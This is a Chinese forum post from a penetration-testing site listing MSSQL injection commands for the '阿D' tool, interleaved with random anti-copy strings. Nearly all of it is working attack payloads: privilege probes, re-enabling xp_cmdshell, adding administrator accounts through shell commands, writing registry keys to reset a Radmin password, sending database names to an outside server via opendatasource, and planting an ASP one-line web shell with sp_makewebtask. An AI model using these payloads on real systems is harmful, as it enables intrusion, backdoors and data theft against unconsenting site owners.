中国网络渗透测试联盟
标题:
阿D常用的一些注入命令
[打印本页]
作者:
admin
时间:
2012-9-13 17:26
标题:
阿D常用的一些注入命令
阿D常用的一些注入命令
+ B b2 t5 m# W( n$ p1 D
//看看是什么权限的
$ J/ ]! u* ]( o8 ]/ J
and 1=(Select IS_MEMBER('db_owner'))
4 Q' R( n! h" e0 W
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
$ n& d, m+ j; w
5 U& R1 {7 {+ b, g5 u
//检测是否有读取某数据库的权限
; x7 H$ L3 Q- T/ c; J0 T7 X7 J
and 1= (Select HAS_DBACCESS('master'))
# M- S5 S# ]3 {* K* i0 M [
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
) |8 s, |* X' O# b8 Z
' N3 J. ]# I; R! ?' ]
1 |& Q8 y* [. s5 ~) o6 s
数字类型
2 x0 N% m$ X* z
and char(124)%2Buser%2Bchar(124)=0
/ {* Y2 r! O# }- A/ f3 {( D
" O; }. `3 i* O* J5 i& K
字符类型
" B. i u* z! N# K) ~
' and char(124)%2Buser%2Bchar(124)=0 and ''='
" c5 C% k3 w9 B
- r: L& i; c2 K3 R4 ^
搜索类型
( w8 u9 J) \* _- l: Q
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
8 u$ I" s3 r+ S! |% |1 c$ p6 `) T
9 I& z6 ^" _/ d' u! T7 A0 R
爆用户名
5 Z; ]" R8 \1 p9 a: f* H9 v
and user>0
3 z E2 Z, K+ h4 w7 F9 I8 I
' and user>0 and ''='
* H6 k. m" {+ C( z. X5 V* c
& M$ V" A$ \1 x% d
检测是否为SA权限
3 X! v2 H+ U7 t( A9 u
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 f: r5 Z% q4 W5 ^3 @$ b
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
- @8 a' }; T) h6 J' n) f
- c. V3 v# E" M# E( d0 u) e
检测是不是MSSQL数据库
W8 N' H3 \3 X8 U8 \1 B) K4 O
and exists (select * from sysobjects);--
2 ]/ P" c8 I& ]0 s- G4 Z7 p9 h& I
3 V" X, O( d$ n. V( J9 {+ Q
检测是否支持多行
( s1 n- z. d$ X: z* K2 \* y' u
;declare @d int;--
/ J5 s) C; F- M
/ |4 K) B Q+ O: M* W
恢复 xp_cmdshell
* k; ]. Q3 W1 X# k. b4 L7 _
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
% X9 ]' S# B6 ], a
" e! t# E, l+ V% A
# C$ M5 M3 |) j) P" w1 I" ^
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
3 A8 {2 e/ {& {+ w+ \* P2 H
% c' {( k3 {0 D" [ n5 ?
//-----------------------
' y6 a& J2 [9 j& H
// 执行命令
8 c& b6 T5 y. `% D# `
//-----------------------
4 D2 W0 g- I4 I* b
首先开启沙盘模式:
3 V" C; E: _0 _3 R" h$ Q8 H7 J
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% p6 h! G- H+ ?8 N
! f- i, x* }5 S [& p3 Y, k
然后利用jet.oledb执行系统命令
) _4 H% D1 @( z, I
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: f3 }! ?, n% g6 c
8 C& Z. F+ R' B: S0 y% m
执行命令
* W) h6 H f9 X
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
$ z. z6 l2 }, l5 U/ y# T
% G$ P( x$ ]8 q9 u
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
" M" w- `$ S- C# U, p/ ]
4 j' e% ?# q4 v; s; q
判断xp_cmdshell扩展存储过程是否存在:
' ?* d; P5 l! ^' S4 g# R) j! Y
http://192.168.1.5/display.asp?keyno=188
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
5 c. J' b' ?; }5 B7 K8 c# r' u* Q* {* F
2 t. Q: {* f/ s7 u- g- W0 @; d8 ]
写注册表
" ?, ^+ Y$ i0 U3 ?! J, f
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" t. q/ O" m; w- v/ D
! ` @0 A1 V: x. k, R& I
REG_SZ
+ K1 J* K |" F7 i$ C* N6 k
3 G1 f/ S6 ^8 ]7 @# N* h
读注册表
' i1 z/ X1 J/ o L
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
% b/ l7 g% h9 _- i6 `' u; O
: y# r1 ?* m6 p
读取目录内容
+ W' R3 a) o7 p# h4 E
exec master..xp_dirtree 'c:\winnt\system32\',1,1
: _( r$ J, u9 G z
6 q2 G, U" ?* ]; k' l1 ?
% _- l. P- [/ ]: D0 P( C
数据库备份
0 y7 k/ s& z, h8 C
backup database pubs to disk = 'c:\123.bak'
( j6 s+ U4 M- S- I2 b
8 Y5 d* C& i9 A/ ~
//爆出长度
$ b+ o* M/ O. p5 M* @" c7 y+ I
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
+ ^: p4 T% ^' t$ s! G: v& i" q, C t
+ {, [+ \( c9 E8 o+ G9 c h
@% Z3 s9 y$ f8 `6 K
+ D# q. o( Y7 Y/ b8 O5 _
更改sa口令方法:用sql综合利用工具连接后,执行命令:
3 s' g- g1 @" z# \" P7 q
exec sp_password NULL,'新密码','sa'
1 C* g h2 b* V3 F
. q* a/ b. L! C$ G M8 F8 ~: B y
添加和删除一个SA权限的用户test:
- g/ K8 G& D' u- H" M) {
exec master.dbo.sp_addlogin test,ptlove
2 q) h o, F7 k( d1 n( m+ T
exec master.dbo.sp_addsrvrolemember test,sysadmin
/ E5 ?" ~: M$ {; j: K& G- ]
8 Z3 o; U9 o3 _/ g& F4 d
删除扩展存储过过程xp_cmdshell的语句:
' i v2 U) I3 O
exec sp_dropextendedproc 'xp_cmdshell'
) o) u1 B- a6 W$ f
$ N1 ^1 E; F+ ?0 z- a4 o
添加扩展存储过过程
& ]5 \% G, I" d. S
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
0 b. v0 l$ ^* b" q% Q% C9 Q$ U
GRANT exec On xp_proxiedadata TO public
, T) P+ i' G! I$ s7 Q. `
" t) d6 A& F8 d) V
/ m- r1 u. p5 ]0 R9 f5 v0 x; n% J
停掉或激活某个服务。
( g3 @( v/ m# y5 l+ E4 I( f8 V; P% i X
3 i4 n; r) C' G% j# k( i
exec master..xp_servicecontrol 'stop','schedule'
- h" b& W7 \, i4 r1 w( h
exec master..xp_servicecontrol 'start','schedule'
6 c/ U" A2 g- p5 X9 H' |- j
3 `8 e. G4 _" l( S$ o# _; ~
dbo.xp_subdirs
; @2 V b8 N0 l" T& Q) j
- X# s- j" L- u' {2 t
只列某个目录下的子目录。
) e( w: \- P l. ]. V; G* `7 v
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
8 l/ o" E8 r" f ?% s
; d/ I# @% z1 W( @
dbo.xp_makecab
# ~1 _! h5 P( u6 y( ^
N) {9 D; Z5 k- F; t7 u& }
将目标多个档案压缩到某个目标档案之内。
0 M( p3 Q6 g. c/ ]
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
1 M5 ~. d a2 Y/ K
F! w; P- l( o$ y
dbo.xp_makecab
2 w+ u x' d1 }! ^3 f/ j- j
'c:\test.cab','mszip',1,
/ y" B4 e+ W/ v( E! A! G
'C:\Inetpub\wwwroot\SQLInject\login.asp',
5 ^, P, I L5 P1 H% C
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
% v% J9 v' l# F. K& u
; p- Q, p M1 x% u
xp_terminate_process
. F* p3 @/ n1 Z l# x( v
1 ^1 _6 q* J' F2 r$ ?
停掉某个执行中的程序,但赋予的参数是 Process ID。
8 p/ F2 c, x. O l; L
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
, h7 ]2 ~( E/ r6 r" C
5 D$ ~! o8 _/ T* H
xp_terminate_process 2484
$ z4 s f2 v4 m( t- d( N, ^- a' ^
- O, V& v0 k$ @) l" c
xp_unpackcab
5 E- [* @, ^1 I' }7 m
. ]" p; F/ u4 B1 B7 t4 Y/ P
解开压缩档。
/ p. B& B% l! u
2 q5 F1 ?! n) G
xp_unpackcab 'c:\test.cab','c:\temp',1
# d" H: g3 I/ I7 }6 J
% ]( y* }: @. F$ U F3 p) ?
& U1 [, k% m) q9 S; C4 c
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
! Y" ]- a I$ v$ k
( V! v; P l) e. q3 ]& Y
create database lcx;
2 `! G: c3 x* ?% _. t Q# y* w/ U
Create TABLE ku(name nvarchar(256) null);
( Z M, p+ H }" _
Create TABLE biao(id int NULL,name nvarchar(256) null);
3 L9 R+ v _, w/ f9 F/ `+ q
5 g, @; S' s0 g$ [) W9 ?
//得到数据库名
/ o. J$ ]) {: _; }- F
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
; ]4 z4 b/ N5 U8 Y* j3 z
% V% h7 m4 U; s5 s
1 w9 \/ Y- s* D
//在Master中创建表,看看权限怎样
+ `* T4 y7 _; e' c% i, _1 }9 ^. o1 u
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
( B) E. R: j$ O
& F5 z0 b* [8 ~: D0 r" B
用 sp_makewebtask直接在web目录里写入一句话马:
( }' j$ ^" }. K
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:
\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% H5 e# |# e/ u t/ f4 ~ n
* d+ U* S! h2 r( c4 w5 k
//更新表内容
: I/ r# @( L& `+ E6 V: d
Update films SET kind = 'Dramatic' Where id = 123
3 o& J, `8 T" }$ _* f& f. e
/ G! C5 J1 A0 u) Z2 U2 e( {
//删除内容
- A% |# O. C6 u+ h8 N
delete from table_name where Stockid = 3
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2